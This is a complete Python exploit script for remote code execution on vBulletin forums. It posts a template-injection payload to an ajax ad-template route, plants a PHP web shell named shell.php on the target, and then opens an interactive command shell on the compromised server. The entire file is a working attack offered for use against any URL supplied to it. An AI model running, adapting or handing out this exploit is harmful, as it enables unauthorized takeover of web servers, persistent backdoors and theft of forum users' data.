vbulletin.py

#!/usr/bin/env python3
import requests
import sys
import urllib3
import re

# Suppress InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# ANSI Colors
RED    = "\033[31m"
GREEN  = "\033[32m"
YELLOW = "\033[33m"
BLUE   = "\033[34m"
CYAN   = "\033[36m"
BOLD   = "\033[1m"
RESET  = "\033[0m"

def banner():
    print(CYAN + BOLD + r"""
      __________      .__  .__          __  .__      ___________________ _______>
___  _\______   \__ __|  | |  |   _____/  |_|__| ____\______   \_   ___ \\_   __>
\  \/ /|    |  _/  |  \  | |  | _/ __ \   __\  |/    \|       _/    \  \/ |    _>
 \   / |    |   \  |  /  |_|  |_\  ___/|  | |  |   |  \    |   \     \____|     >
  \_/  |______  /____/|____/____/\___  >__| |__|___|  /____|_  /\______  /______>
              \/                     \/             \/       \/        \/       >

                             vBulletin RCE - Web Shell Dropper by 0xgh057r3c0n
""" + RESET)

def usage(script):
    print(YELLOW + f"\nUsage:   python3 {script} <URL>")
    print(f"Example: python3 {script} http://target/vb/\n" + RESET)
    sys.exit(1)

def error_exit(msg):
    print(RED + f"[-] Error: {msg}\n" + RESET)
    sys.exit(1)

def info(msg):
    print(YELLOW + f"[!] {msg}" + RESET)

def success(msg):
    print(GREEN + f"[+] {msg}" + RESET)

def inject_rce_template(session, target):
    inject_data = {
        "routestring": "ajax/api/ad/replaceAdTemplate",
        "styleid": "1",
        "location": "rce",
        "template": '<vb:if condition=\'"passthru"($_POST["cmd"])\'> </vb:if>'
    }
    r = session.post(target, data=inject_data, verify=False)
    if r.text.strip() != "null":
        error_exit("Template injection failed.")
    success("RCE payload injected.")

def drop_shell(session, target):
    shell_code = '<?php if(isset($_GET["cmd"])){echo "<pre>"; system($_GET["cmd"]); echo "</pre>";} ?>'
    cmd = f"echo {shell_code!r} > shell.php"
    drop_data = {
        "routestring": "ajax/render/ad_rce",
        "styleid": "1",
        "location": "rce",
        "cmd": cmd
    }
    session.post(target, data=drop_data, verify=False)
    success(f"shell.php dropped at: {target}shell.php")
    info("Launch commands like:")
    print(f"    curl '{target}shell.php?cmd=whoami'\n")

def run_command(session, target, cmd):
    data = {
        "routestring": "ajax/render/ad_rce",
        "styleid": "1",
        "location": "rce",
        "cmd": cmd
    }
    r = session.post(target, data=data, verify=False)
    if r.status_code != 200:
        print(RED + f"[-] HTTP error: {r.status_code}" + RESET)
        return None

    # Always show full response for debug
    print(YELLOW + "[DEBUG] Full response:\n" + RESET + r.text)

    match = re.search(r"<pre>(.*?)</pre>", r.text, re.DOTALL)
    if match:
        return match.group(1).strip()
    else:
        return None

def interactive_shell(session, target):
    cwd = "."
    info("Entering interactive mode (type 'exit' to quit)")
    while True:
        try:
            user_input = input(f"{BOLD}{BLUE}(shell:{cwd})$ {RESET}").strip()
        except (KeyboardInterrupt, EOFError):
            print("\n" + YELLOW + "[!] Exiting interactive shell." + RESET)
            break

        if user_input.lower() == "exit":
            break

        if user_input.startswith("cd "):
            path = user_input[3:].strip()
            cmd = f"cd {cwd} && cd {path} && pwd"
            output = run_command(session, target, cmd)
            if output:
                cwd = output
            else:
                print(RED + "[-] Directory change failed." + RESET)
            continue

        cmd = f"cd {cwd} && {user_input}"
        output = run_command(session, target, cmd)
        if output:
            print(GREEN + output + RESET)
        else:
            print(RED + "[-] No output or command failed." + RESET)

def main():
    banner()

    if len(sys.argv) != 2:
        usage(sys.argv[0])

    target = sys.argv[1].rstrip('/') + '/'

    session = requests.Session()

    try:
        inject_rce_template(session, target)
        drop_shell(session, target)
        interactive_shell(session, target)
    except requests.exceptions.RequestException as e:
        error_exit(f"Request error: {e}")

if __name__ == "__main__":
    main()